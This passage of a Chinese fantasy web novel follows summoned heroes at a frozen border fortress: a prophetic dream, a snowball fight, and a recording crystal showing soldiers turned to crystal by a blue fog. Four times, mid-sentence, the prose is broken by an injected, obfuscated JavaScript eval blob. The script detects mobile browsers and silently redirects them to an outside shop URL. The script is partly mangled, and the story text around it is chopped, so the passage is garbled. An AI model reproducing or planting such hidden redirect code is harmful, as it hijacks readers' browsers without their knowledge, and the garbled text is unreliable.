;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193812|197114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果描述属实，这种大规模元素异象通常意味着两种情况：要么是高阶元素生物的苏醒，要么是某种古老封印的松动。」 四人跟随艾琳穿过繁忙的要塞内部。 风啸堡的营地绝非为了舒适而建，这里处处透着残酷的实用主义。 低矮的石屋，屋顶覆盖着厚重黑瓦，倾斜角度专门计算过以防积雪压塌房梁。营地内的道路被铲出了一条仅容两人并排通过的通道，两侧堆积的雪墙足有一人高，脏兮兮的雪里混着煤灰和冻得梆硬的马粪。 地面上结着一层黑色的冰，是污垢和血水冻结的产物。 “我们要在这里待多久？”克莱尔小心翼翼地提起法袍，避开一滩可疑的污渍。 “直到搞清楚观测站到底出了什么事。”亚瑟侧身替她挡住一辆疾驰而过的运矿推车，“忍耐一下。条件艰苦，但这就是帝国边境的真实写照。” “我不在乎艰苦，我在乎的是这里的元素粒子都异常消极。我的魔力回复速度会下降至少三成！” “往好处想，”艾什尔走在最前面，头也不回地说道，“这里的低温会让尸体腐烂得慢一些。如果我们不幸挂了，至少能保持一个体面的遗容直到运回帝都。” “闭嘴。” 三人异口同声。 接待室是一栋低矮的石屋，门口的军徽旗帜被寒风吹得猎猎作响。推开厚重木门，热浪裹着复杂的体味扑面而来。 “咳咳……” 克莱尔被这股浑浊气息熏得咳嗽，但还是毫不犹豫地钻了进去，迅速霸占了离壁炉最近的位置。 屋内陈设简单粗暴。一张老旧的长条木桌占据了中央，上面堆满地图、卷轴和啃了一半的黑面包。 墙壁上挂着几兽皮和备用的弩机，壁炉里的火烧得很旺，这也是整个房间唯一的光源。 “随便坐。” 艾琳解下背后的军弩挂在墙上，又从正在火上烤的铁桶里舀了几勺深褐色的液体倒进粗陶杯里。 “姜根炖肉汤。味道不怎么样，至少能暖暖身子。” “那就不客气了。”亚瑟接过热汤，喝了一口，然后看向艾琳，“霍尔德中尉，你刚才说观测站失联那晚，你们看到天空整片都是蓝的？” 艾琳点了点头，眼睛里闪过一丝复杂的神色。 “不是普通的蓝，这里的天空永远都是灰暗的。那天我值夜，起初我们以为那是极光，但那光……像是有什么东西在燃烧，是火焰，但却是冰冷的。整个天际线都被照亮了，持续了大概一刻钟左右。” 克莱尔追问：“伴随什么现象吗？声音？震动？魔力波动？” “有震动。”艾琳回忆着，“很轻微，但能感觉到脚下的石头在颤抖，像是某种巨大生物呼吸的震动，还有……” 她停顿了一下，斟酌措辞。 “很难形容，像是玻璃碎掉的声音？” “那是魔力过载导致的现实结构晶体化。” 克莱尔的表情愈发凝重。 “当单一元素的浓度超过了空间所能承载的阈值，现实世界的物理法则就会被强行固化。那不是玻璃碎裂的声音，那是空间的冻裂声。” 12. 夸位面追债 “空间冻裂？”艾琳不明所以地看向她。 “简单来说，”艾什尔接过话茬，“就是有人在北边把空调开得太低，导致整个房间的墙壁都被冻酥了。” 希罗放下手中的陶杯：“那之后呢？” 艾琳回忆道：“之后光芒逐渐消散，天空恢复正常。但从那天起，魔物活动就开始异常频繁。以前每个月也就遭遇三四次小规模的袭击，现在几乎每隔两天就有。” “魔物种类有变化吗？”亚瑟问。 “有。以前主要是普通的冰狼、雪怪之类的低级魔物，现在开始出现冰元素生物了。不是那种小型的元素之灵，是足有两、三米高，全身都是冰晶的大家伙。” “冰元素。”克莱尔的眼睛亮了起来，“纯粹晶体结构还是混合构装？核心在哪？” 艾琳看了她一眼，露出一丝苦笑：“……抱歉，小姐，我是个后勤官，不是魔法师。我只知道那东西很难杀，普通的武器劈上去跟砍花岗岩一样，得用火焰附魔的武器才能造成有效伤害。” 亚瑟一直靠在墙边，手里端着热汤，听着对话：“总结一下：观测站失联的时候，北边天空被烧成诡异的蓝色，接着地面震颤，伴随着元素浓度激增。之后魔物变多，冰元素南下。” “听起来像是某个冬眠了很久的大家伙醒了。” 艾琳的脸色变了一瞬。 “这也是我们的推测之一，但目前没有任何证据支持。对了……有几个从前线撤回来的斥候发誓说，他们在那个蓝光里看到了一座不存在的城市。” “海市蜃楼？” “也许吧。但在这种极端天气下，看到幻觉并不稀奇。” …… 傍晚时分，艾琳安排他们住进了营地东侧的石屋。 说是房子，其实更像是石头砌成的方盒子，窗户小得简直是为老鼠设计的，木门关上后也挡不住寒风的呼啸声。 “条件简陋，还请见谅。” 艾琳给几人拿来了厚毛毯，脸上带着几分歉意。 “风啸堡不比索拉利姆，这已经是军官级别的待遇了，有壁炉和热水。” “辛苦您了，霍尔德中尉。”亚瑟礼貌地点头致谢。 北境的夜幕降临得很快。 亚瑟握着剑坐在最靠近门口的闭目养神，希罗把自己裹成一团，缩在离窗口最近的阴影里，连呼吸声都几不可闻。 克莱尔则抱着她那本比枕头还厚的魔法书睡着了，时不时还嘟囔几句关于魔法理论的梦话。 艾什尔躺在硬邦邦的沙发上，盖着军用毛毯。 当然，真正让他在这零下三十度的环境中保持体面睡眠的，还是那件死皮赖脸贴在他身上的毛衣。 源源不断地散发着最适合符合人体的惬意温度，甚至还贴心地微调了湿度，让他感觉自己像是睡在九狱那座弥漫着硫磺温泉蒸汽的行宫里。 意识在温暖中逐渐模糊。 …… …… “……还给我……” 一个声音突兀地响起。 艾什尔在梦中睁开眼，发现没有石屋，没有壁炉，没有队友的呼吸声。 他站在一片无边无际的苍白大地上，白色的冰冷灰烬缓缓飘落。 天空是深邃的靛蓝色，没有星星，只有一轮巨大的月亮悬挂在地平线尽头。 脚下的大地是一面巨大的黑色镜子……不，不是镜子。那是被极致的低温瞬间冻结的深海。 透过黑色的冰层，隐约可以看到下方有什么庞然大物静静地悬浮在深渊之中。 这里是……永久冻原？ 艾什尔久违的感受到了寒意，这种寒意甚至穿透了「恒温型炼狱羊毛衫」，让人灵魂都为之颤栗。 “——你违背了契约。” 那个声音再次响起，不分前后左右，在整个世界回荡。 艾什尔抬头。 在地平线尽头，那片燃烧的蓝色天幕之下，矗立着一座宏伟的城市。 那座城市并未矗立在大地上。 它是倒悬的。 尖塔向下，基座朝上，城市由透明水晶与漆黑金属筑成，然而却没有在下方冰原投下任何阴影。 视线被强行拉近。 他看到了那座倒悬城中央的广场有一尊巨大的雕像……或者说是尸体？ 那是一个拥有十二对冰晶羽翼的存在，胸口被一柄漆黑长枪贯穿，墨色的血液沿着枪杆滴落，冻结成黑冰。 那个存在抬起头。 它没有五官，只有一张空白的水晶面具，但艾什尔清晰地感觉到，它在看自己。 或者说，在看他灵魂深处的某种东西。 “——来找我。” 那个声音变得急促，像信号受干扰的广播在刺啦作响。 “把……带给……他……” 轰——！！！ 蓝色火焰骤然暴涨吞没天穹。倒悬之城开始崩塌，冰裂声震耳欲聋。脚下黑色冰面瞬间龟裂，深渊之下那个庞然大物睁开了占据了整个海底的的金色眼球—— 它死死盯着艾什尔。 “……还我！！！” …… “我没钱！！！” 艾什尔猛地从硬沙发上弹起，一嗓子直接盖过了窗外凄厉的风声。 “敌袭？！” 亚瑟几乎在吼声响起的瞬间完成了睁眼、翻滚、拔剑的一系列动作。他半蹲在地，圣剑横在胸前，湛蓝眼眸清明锐利，完全不像刚被吵醒。 希罗在零点一秒内已经贴到了天花板上，手中的匕首闪烁着寒光，狐狸尾巴炸成了鸡毛掸子。 克莱尔迷迷糊糊地抬起头，脸颊上印着书页的折痕，手里搓了一个还没成型的火球：“谁？谁敢打扰本小姐研究……我要炸飞他……” 房间里一片死寂。 “咳。” 艾什尔清了清嗓子，试图把那个尴尬的吼声吞回去，找回平时优雅的人设。 “抱歉，各位。我做了一个关于帝国通货膨胀导致货币体系崩溃的噩梦。你们知道，作为一个负责任的顾问，我对经济形势总是格外敏感。” 希罗面无表情地收起短刀，从天花板翻身下来，冷冷地看了艾什尔一眼，重新缩回了阴影里，翻了个身背对着众人。 亚瑟松了一口气，圣剑插回剑鞘，露出无奈笑容。 “下次做噩梦能小声点吗？我还以为魔物攻进来了。” “闭嘴，睡觉。” 克莱尔手中的火花熄灭了，重新把自己裹进被子里，像个蚕蛹一样翻滚了一圈，只留给世界一个冷酷的后脑勺。 艾什尔长舒了一口气，重新躺倒。 「少爷，您经历的并非普通噩梦，而是某种程度的精神接触。」阿福的声音响起，「有外部意识试图与您建立联系，但怀表的防护机制阻断了最后一层渗透。」 “外部意识？” 「根据残留的魔力波动特征分析，这是一次典型的位面意识投影行为。简单来说，有个大家伙正试图通过梦境给您打电话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193813|197114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。」 艾什尔沉默了片刻。 苍白的灰烬雪原，黑色冰面下悬浮的庞然大物，倒悬在天空的诡异城市。 最让他火大的是那个声音。 “啧，欠债不还就算了，反过来还敢找我要钱？这简直是地狱笑话……字面意义上的地狱笑话。” “而且他还说我违背了契约。拜托，我签过的契约比我吃过的面包都多，但我从来没违约过！这简直是对我职业操守的侮辱。” 「少爷，那个声音声称您欠了他——」 “不可能。”艾什尔斩钉截铁，“我，艾什尔·克劳利从不赖账。如果有人说我欠他钱，那一定是他的问题，不是我的问题。这是基本逻辑。” 「好的，少爷。我会将此记录为：最终解释权归艾什尔·克劳利所有。」 艾什尔决定不再继续这个话题。 他翻了个身，发现窗外的天色已经蒙蒙亮了。铅灰色的光线透过结霜的玻璃渗进来，给整个房间蒙上了一层冷调滤镜。 “既然都醒了。” 艾什尔坐起身，掏出怀表。 「滴——」 虚幻红光投射半空，在他眼前形成了一行燃烧着的九狱文字。 【今日成长任务：团建篇】 「在这极寒之地，温暖的不仅是羊毛衫，更应是队友间炽热的情谊（哪怕他们并不想要）。但这不妨碍您作为一个有教养的恶魔，主动拉近与这群凡人的距离。」 任务目标：在今天早餐时间结束前，邀请至少两名队友进行一项极具北境特色的集体活动。如：雪地打滚、互扔雪球、围着篝火大声朗诵赞美诗。 完成奖励：保温杯今日不限量供应热可可（附赠棉花糖） 失败惩罚：怀表将在未来24小时内，每整点播放一次宗主大人的语音包：“抱歉，我家孩子是个社恐，请跟他做朋友。” “……” 艾什尔盯着那行惩罚条款足足看了三秒钟。 “阿福。” 「是的，少爷？」 “老头子是不是对我有什么认知偏差？我看起来像没人陪我玩的孤儿吗？” 「根据宗主大人附带的备注，原话是：‘小艾从小就不爱和其他恶魔崽子玩，甚至拒绝参加地狱三头犬的遛狗聚会，我担心他社交能力退化。’」 阿福的语气一如既往地平稳，却字字扎心。 「此外，他还特别强调：‘如果小艾连顿早饭都找不到人拼桌，我就亲自把刻耳柏洛斯或者那几个深渊领主的儿子送下去陪他。’」 艾什尔面无表情地合上表盖。 “早，艾什尔。虽然不知道你在对怀表生什么气，但希望你后半夜没再梦到通货膨胀。” 另一边，亚瑟已经穿戴整齐，正在擦拭他的圣剑，对着艾什尔露出一个仿佛能融化积雪的朝气笑容。 而克莱尔那边完全相反，她坐在床上，整个人都被裹在被子里。 “……咖啡。” 她发出了类似某种深渊怨灵般的低语。 “如果五分钟内我没有喝到含有致死量咖啡因的液体，我就要在这个房间里释放一个八环的「永恒静默结界」。届时你们都会变成雕像，永远保持现在这副蠢样。“ 艾什尔低头看了看手中的保温杯，又看了看那群处于低气压状态的队友。 “虽然我很想说这一切都是那个梦里欠债混蛋的错，但作为一个慷慨且富有责任感的顾问，我觉得我有义务拯救一下这个团队岌岌可危的士气。” 13. 没有形状的猎手 “各位，虽然大家都没睡好，但在这种极端的环境下，保持身心的活跃度是至关重要的。作为你们的战术顾问，我必须指出……我们目前的团队凝聚力正处于一个危险的临界点！” 亚瑟停下了擦剑的动作，那双清澈的蓝眼睛里写满了“虽然没听懂但觉得很有道理”。 “艾什尔，你想说什么？” “我想说的是——” 艾什尔优雅地转身，手杖指向结着厚厚冰霜的窗户，窗外是漫天飞舞的鹅毛大雪。 “为了提升我们在极寒环境下的作战能力，我提议进行一项名为：风暴适应性特训的战术演练。” “说人话。” 蚕蛹里传出克莱尔闷闷的声音。 “我们去外面堆个雪人吧，或者互扔雪球。” 虽然自知很离谱，但艾什尔面不改色地提议道。 “这是检验反应速度和投掷精度的绝佳方式。” 房间陷入死寂。 连壁炉里的火苗都尴尬地晃了一下。 “……你是认真的吗？” 蚕蛹动了动，克莱尔从被子里探出一手，指着完全被冰花封死的窗户。 “外面零下四十度，如果你想自杀，请出门左转跳下城墙，别拉着我陪葬。” 预料之中的反应。艾什尔慢悠悠地举起保温杯，打开杯盖。 浓郁醇厚的香气携着热雾弥漫开来，甜腻得几乎能尝出棉花糖的味道。 “作为这次特训的裁判兼技术顾问，我这里有一杯限量供应的至尊热可可。双倍棉花糖，微量魔力增稠剂。只有表现出色的选手才有资格……” 被子明显蠕动了一下。 “……真的有棉花糖？” “不仅有棉花糖，还有肉桂粉。”艾什尔笑眯眯地加码，“恒温五十五度，一口下去，灵魂升华。” 被子被猛地掀开。 克莱尔顶着一头乱发坐起来，咽了口唾沫。 “成交！但我只负责扔，不负责跑。” 搞定一个。 艾什尔转向亚瑟，换上那种极具欺骗性的微笑。 “亚瑟，我的朋友。这不仅是游戏，更是对骑士意志的磨炼。想想那些守卫北境的战士们，他们也是在这样的风雪中屹立不倒。难道堂堂皇家骑士团团长，会畏惧区区严寒吗？” 「您这段话的煽动性评分为85/100。利用骑士的荣誉感进行道德绑架，经典但有效。」 果然，亚瑟愣了一下，随即挺直了腰背，眼神变得坚定起来。 “你说得对，艾什尔。” 年轻的骑士站起身，圣剑出鞘，那一瞬间背后仿佛有圣光亮起。 “骑士不应畏惧严寒。如果连这点苦都吃不了，我又怎么能面对即将到来的战斗？我加入！这不仅是特训，更是对意志的挑战！” “好极了。” 艾什尔满意地点头。虽然他的目标只是为了那杯带棉花糖的热可可，但这并不妨碍他享受这一刻煽动人心的成就感。 他又转头看向阴影角落。 “希罗？作为一名刺客大师，难道不想测试一下自己在雪地环境下的隐蔽性吗？白色的雪地可是不利于刺客潜行。” 阴影里没有任何回应。 只有那条狐狸尾巴从角落里稍微伸出来了一点，懒洋洋地摆动了一下，又缩了回去。 意思很明显：不去，滚。 “很遗憾，三比一，民主表决，无效反对。” …… …… 五分钟后，驻军营地空地上。 几名路过的帝国士兵目瞪口呆，看着这四位传说中肩负救世重任的异界勇者们发疯。 只见亚瑟大吼一声，手中的的雪团爆发出堪比圣剑的金色光辉，以开山裂石的气势向艾什尔劈去。 “Excalibur——！” “以理服人！” 艾什尔优雅地侧身闪过，手中的红宝石手杖在空中画了个圈。一团并没有什么杀伤力但视觉效果拉满的暗红色雪球凭空凝聚，砸在亚瑟的胸甲上。 啪。 “卑鄙！居然用瞬发魔法！” 另一边，克莱尔正如她之前所说，只扔不跑。她周围悬浮着七八个雪球，像浮游炮一样自动追踪着希罗。 “奥术飞弹·雪球版！” 希罗的身影在雪地中忽隐忽现，每一次出现都会有一团雪准确地命中克莱尔的脑门。 “幼稚。”刺客冷冷地评价道，手里却极其诚实地搓出了第三个雪球。 「少爷，左后方30度，亚瑟正在蓄力。建议您下蹲。」阿福冷静地播报着战况。 艾什尔猛地抱头下蹲。一颗硕大雪球呼啸着从头顶飞过，正中对面准备施法的克莱尔面门。 “噗——” 克莱尔整个人向后仰倒，在雪地里砸出一个“大”字。 “亚瑟！！！” “抱歉！手滑了！” 场面一度十分混乱。 就在这群一秒前还要死不活，现在却玩得比谁都疯的队友们滚成一团时，艾什尔胸口的怀表震动了一下。 「任务完成。虽然手段卑劣，充满了欺诈与贿赂，但这确实符合魔鬼的社交美学。奖励已发放至保温杯。」 艾什尔正准备趁乱摸出热可可犒劳自己一口，一阵急促的脚步声打断了操场上的喧闹。 “……我想，现在的确不是打雪仗的好时候。” “霍尔德中尉？” 艾琳·霍尔德中尉大步走来。 她的脸色比周围的冰雪还要苍白，眉宇间凝结着一层化不开的寒霜。黑铁肩甲上挂着新鲜的血沫，显然刚从外面疾驰而归。 所有雪球在半空中停滞了一瞬，然后啪嗒啪嗒掉在地上。 亚瑟立刻收敛了姿态，尴尬地拍了拍头发上的雪沫：“抱歉，霍尔德中尉，我们只是在……咳，热身。” “希望这能帮你们把身子暖起来，因为接下来的消息会让人心里凉透。” 艾琳深呼了一口气，雾气从嘴里喷出，瞬间被寒风吹散。她从怀里掏出一块破沾着黑血的水晶残片，举到众人面前。 “格兰特上尉的探查队回来了。或者说……他的战马把他的一只手带回来了。” …… 风啸堡的指挥室并不比接待室宽敞多少，甚至因为堆积如山的文件和战术沙盘而显得更加逼仄。空气里充满劣质烟草和若有若无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193814|197114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的血腥味。 艾琳径直走到橡木桌前，将那块染血水晶慎重地放在桌上。 “这块记录水晶是格兰特上尉随身携带的。为了取出这东西，我们不得不掰开上尉的手指……这是他拼死也要带回来的东西。” 亚瑟指节扣紧剑柄，神色肃穆。克莱尔则凑近了一些，从袖中抽出一根秘银探针，轻点水晶表面。 “结构已经损坏了百分之四十，就像是被什么东西强行‘咀嚼’过一样。” “能修复吗？”希罗抱着双臂靠在门边，冷冷地问。 “我可以尝试引导残留的以太流，重现最后几秒的影像。不过这可能会导致水晶彻底解体。” 克莱尔指尖亮起微弱的奥术辉光，顺着裂纹小心注入魔力。 她念出一句晦涩咒语，坏损的水晶突然爆发刺耳嗡鸣。 光影扭曲，一副全息画面在指挥室上空展开。 画面极其不稳定，充斥着大量的雪花点和撕裂的色块。 “……呼……呼……” 首先传来的是沉重的喘息声。视角在剧烈晃动，显然记录者正在全速奔跑。 所有的景物都是倾斜的。白色的雪地被某种黑色的粘稠液体染得斑驳陆离。 “快跑！别回头！” 画面一转，应当是记录者摔倒了，镜头对准了后方。 在那片茫茫的风雪中，并没有看到什么成群结队的魔物大军。 只有雾。 一片发光的幽蓝雾气。 不像自然界中的雾气那样随风飘散，而是像活物般蔓延扩散。凡是被蓝雾触及的地方，岩石、枯树、人类尸骸，都在瞬间化作半透明的幽蓝晶体。 而在那片蓝雾的深处，隐约矗立着几个庞大的黑影。 它们没有固定的形状。 时而像一堆扭曲纠结的几何体，时而像多肢节的巨型昆虫。它们在蓝色光晕中迟缓移动，每一步落下，空间便发出一声清脆的“咔嚓”脆响。 “神啊……那是什么……” 格兰特上尉绝望的声音传来。 紧接着，画面中出现了一名落后的士兵。蓝雾追上了他。 没有惨叫，没有鲜血。 那名士兵在被雾气吞没的瞬间，整个人瞬间冻结。他的盔甲、皮肤、甚至表情，都化作了那种幽蓝色的晶体。 风吹过，整个人碎成一地闪烁粉尘。 画面开始剧烈抖动，伴随着一阵令人耳鸣的尖啸声，影像戛然而止。 啪。 水晶彻底碎裂，化作一堆无用的粉末。 指挥室内一片死寂。 “那……不是魔物。”艾琳的手指攥紧桌沿，面色铁青，“魔物纵然危险，但不会把人变成玻璃。” “是晶体化，物质结构的强制重组。” 克莱尔指尖捻起一点水晶粉尘，放在眼前细看。 “那片蓝雾在改写接触到的一切物质的物理属性。这根本不是普通魔法能做到的，这是——” “这是规则层面的侵蚀。” 艾什尔的声音突兀插入。 红宝石手杖轻轻点着地面，脸上那副漫不经心的表情收敛了几分，多了几分微妙的凝重。 14. 勇闯神秘园 “这种现象通常出现于位面交界处崩坏的边缘地带，或者某些不该被打开的封印裂缝附近。” 克莱尔有些意外：“你认识这种现象？” “家学渊源。”艾什尔耸肩，“老爹书房里有一整套《如何识别并规避各种位面污染》的教材。小时候的睡前读物。” “至于那几个黑影，我称之为霜渊徘徊者。半物质半法则的聚合体，说白了就是某个大人物随手捏出来的巡逻犬。它们本身不完全属于这个位面，更像是投影。” 阿福补了一句：「您的描述基本准确，不过您漏掉了最关键的情报。」 艾什尔在心里翻了个白眼：“我知道，让我装完这个逼。” “物理攻击对这种东西没用，只有高级火焰魔法才能烧穿它们的外壳。圣光也行，对这类深渊造物有天然的压制效果。” 他的目光落在亚瑟身上。 “所以恭喜你，骑士先生，这次你是主力。” 亚瑟握紧剑柄，神情肃然：“我明白了。” “霍尔德中尉。”艾什尔收回视线，红瞳在昏暗灯火下幽深得不似人类，“我们得重新评估任务风险等级。这不是什么魔物异动，这是位面入侵的前兆。那些徘徊者只是开胃菜，真正的麻烦是放出它们的那个东西。” 艾琳深吸一口气，把目光从那堆粉末上移开。 “皇帝陛下把你们派来，就是为了处理这种我们无法理解的情况。告诉我，这玩意儿能杀吗？” “能。”希罗从阴影里走了出来，手中匕首挽了个利落的刀花，“只要有血条，神也杀给你看。” 艾什尔纠正道：“遗憾的是，它们大概率没有血条，更像是法则具象化的产物。物理攻击对它们基本无效。” 他转过身，看向窗外。 在常人眼中只能看到肆虐的风雪，但在艾什尔眼中，那片白茫茫的深处，幽蓝暗流正如同呼吸般起伏。 梦里的声音，倒悬的城市，还有这种深渊与极寒混合的怪物。 所有的线索都指向了同一个方向。 “看来，我们得去一趟长城以北了。”亚瑟开口，沉重道，“为了那些牺牲的士兵，也为了阻止这东西蔓延。” “我知道你们是皇帝召来的勇者。” 艾琳的目光扫过四人，复杂难辨。 “但我看过太多自以为是的强者在北境尸骨无存，最后连名字都被风雪抹去。在那种能把人变成玻璃的力量面前，传说中的英雄也不过是稍微硬一点的靶子。” “听着，斯特林公爵已经收到了最高级别的烽火警报。他正亲自率领着三千名重装骑兵从铁壁关全速赶来，随军包括一整支战斗法师团，还有重型破魔弩炮，等他们……” 亚瑟打断她：“中尉，我理解你的担忧。但陛下绕过正规军直接派遣我们，正是因为庞大的军团在面对未知时太过迟钝。” “我们需要的是灵活的侦查，而不是大军压境后的打草惊蛇。更何况，等那三千精锐抵达，蓝雾可能已经扩散到更大的范围。” “……好吧，我无权扣留你们。” 艾琳不再坚持，指着地图上的路线。 “这是风啸堡以北三十里的区域。这条路是我们日常巡逻的路线，相对安全。但格兰特上尉最后传回的信号……” 她的手指停在了一个用红色墨水画出的圆圈上。 “来自这里，神弃峡谷。” “神弃峡谷……这名字听着不像什么好地方。” “传说这里曾有座远古神殿。后来神殿崩塌，只留下这就道深不见底的裂隙。当地人说那里被神明遗弃了，连光都照不进去。” “有意思。”克莱尔凑近了地图，“神殿遗址……如果真有异常能量源，古代遗迹确实是最容易产生共振的地点。” 艾琳又从柜子里搬出几个沉甸甸的包裹，一一清点。 “军粮、火石、绷带，还有抗寒药剂。这些是我能调用的全部物资了，如果你们需要更多，恐怕得等公爵的补给队。” “足够了。”亚瑟接过包裹，“我们不是去打仗，只是侦察。” “还有一件事。” 艾琳走到窗边，推开厚重的木板。刺骨寒风裹挟冰晶灌入，能见度不足五米。 “你们不熟悉北境的环境。这场暴风雪不是普通风雪，从昨夜开始，风向变了。以前北风从永久冻原直直南下，现在却在打旋……像是有什么东西在操控暴风雪。” “有什么东西醒了。”艾什尔若有所思，“好了，别磨蹭了。趁着风雪还没大到完全走不动人，我们出发。” 亚瑟点头，将地图仔细折好收入怀中。希罗检查了一遍腰间的短刀。 克莱尔把砖头厚的魔法书塞进空间折叠背包，嘴里嘟囔着什么“样本采集”。 艾琳目送着这四个年轻人走向暴风雪肆虐的外界。 “勇者们……活着回来。” 艾什尔驻足回首，漂亮的脸庞上浮起优雅笑意。 “放心吧，中尉。” 红宝石手杖抵住胸口，他行了个无可挑剔的绅士礼。 “死亡，可不在我的日程表上。” …… 风雪如刀。 这并非比喻，而是客观事实。 北境的暴风雪裹挟着细碎的冰晶，以每秒三十米的极速横扫荒原，打在裸露在外的皮肤上能割出血痕。 四个身影在这片白茫茫的死寂中艰难前行。 天地的界限消失了，视线所及之处，只有无尽的白。脚下的积雪深及膝盖，每拔出一步都要消耗掉正常行走十倍的体力。 “还有多远？”希罗的声音被风声撕扯得断断续续。 “按照地图标注，神弃峡谷在东北方向大约五十公里。”亚瑟回头喊道，声音立刻被暴风雪吞没，“但这风力，我们的行进速度比预计的至少慢了一倍！” “只有一倍？你太乐观了。” 队伍末尾飘来克莱尔的怨念。 她被霜狼皮大衣裹成了粽子，只露出一双紫罗兰色的眼眸。法师袍内层刻着微型温控法阵，理论上能将周围温度恒定在舒适区间。 但只是理论上。 “这破地方的魔力场完全是乱的。我的温控法阵每隔三分钟就得重新校准一次，然后我就得体验一次从二十度骤降到零下四十度的酸爽！” 她愤愤地蹬了一脚积雪，飞溅的雪沫瞬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193815|197114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间被风卷走。 “疯了，我一定是疯了。” “我，第六代塔之继承者，奥术真理的探索者……” 她深一脚浅一脚地挪动着，把法杖当登山镐使，每走一步，都得用力戳进雪地里，借力把灌了铅似的靴子从积雪里拔出来。 “我好好的在我的塔里研究奥术理论，有暖气有热茶有自动翻页的魔法书……” 一阵更加猛烈的强风袭来，差点把克莱尔掀翻进雪堆里。亚瑟眼疾手快，一把抓住了她的后领，像拎一只愤怒的小鸡崽一样把她稳住。 “……结果一道破光把我扔到这个鬼地方，当什么劳什子勇者，在零下四十度的暴风雪里徒步越野！！” 最后几个字全是吼出来的，可惜传出不到两米就被风雪吞没。 希罗的声音从旁飘来：“根据我的体感，应该是零下三十八度。” “哦！那可真是太让人欣慰了！只有三十八度，我还以为是四十度呢！差这两度我就不冷了！！” “这就是实地考察，克莱尔小姐。” 亚瑟的睫毛和眉毛上已经结了一层厚厚的白霜，整个人看起来像个刚从冰库里捞出来的雕像。即便如此，那张脸上依然挂着那种令人肃然起敬的坚毅笑容。 “真正的骑士，应将每一次苦难都当作磨砺剑锋的砥石。” 克莱尔恶狠狠地瞪了他一眼：“闭嘴，铁皮罐头，你的那身铁板都快冻成冰柜了，里面装着的是你的脑子还是冷冻肉？” “还有，别叫我小姐，叫我大法师！” 相比之下，艾什尔的的画风显得过于违和。 星纹蛛丝法师袍流光溢彩，红宝石手杖轻盈点地，步伐优雅得仿佛漫步于皇宫回廊。 在「恒温型炼狱羊毛衫」的庇护下，这足以冻裂钢铁的极寒风暴对他来说，不过是微风拂面。 “身为顾问，我不得不提醒各位。” 艾什尔慢悠悠地开口。 “这种环境下的体能消耗是平时的三倍以上。如果我是你们，就会少说话，多把能量用在双腿上。虽然亚瑟的背影确实很有安全感。” “谢谢夸奖，艾什尔！” 一只戴着黑色皮手套的手突然伸出来，扯了扯艾什尔的袖子。 希罗无声无息地出现在他身侧。 他的兽耳紧紧地贴在脑袋上，狐狸尾巴更是直接塞进了斗篷里取暖。 “热可可。” “什么？”艾什尔明知故问。 “我在雪仗中击中了克莱尔五次，亚瑟三次，命中率最高。” “啊，我也要！” 原本已经快要冻成冰雕的克莱尔突然诈尸：“那是我的！我被砸得最惨，我有工伤！” “嗯，关于那个。” 艾什尔停下脚步，极其欠揍地抿了一口杯子里的液体，发出一声百转千回的叹息。 “作为本次风暴适应性特训的裁判长，兼规则制定者，我不得不遗憾地宣布……” “由于霍尔德中尉的突然介入，比赛被迫中止。根据《第一届风啸堡驻军营地雪仗大赛规则及最终解释权法案》第三条第五款，在不可抗力导致比赛中断的情况下，视为无效局。” 15. 运气也是实力的一部分 希罗手指微微抽动，正在认真评估把匕首捅进这张笑脸的可行性。 克莱尔法杖顶端闪烁起危险的光，口中已经开始念诵大火球术的咒语。 艾什尔看着这群处在暴走边缘的队友，遗憾摇头。 “虽然获胜奖励取消了，但作为极具人道主义关怀的裁判，根据《克劳利人道主义援助法案》补充条款，我决定启动紧急物资配给。” 他手腕一翻，保温杯微微倾斜。 浓郁的巧克力混合着肉桂的香味在寒冷的空气中弥漫开来。 恒温热可可流出的瞬间在空中分流成了三股，落入凭空凝结的魔力托杯中。每杯都漂浮着三颗白胖蓬松的棉花糖。 刚才还杀气腾腾的氛围瞬间烟消云散。 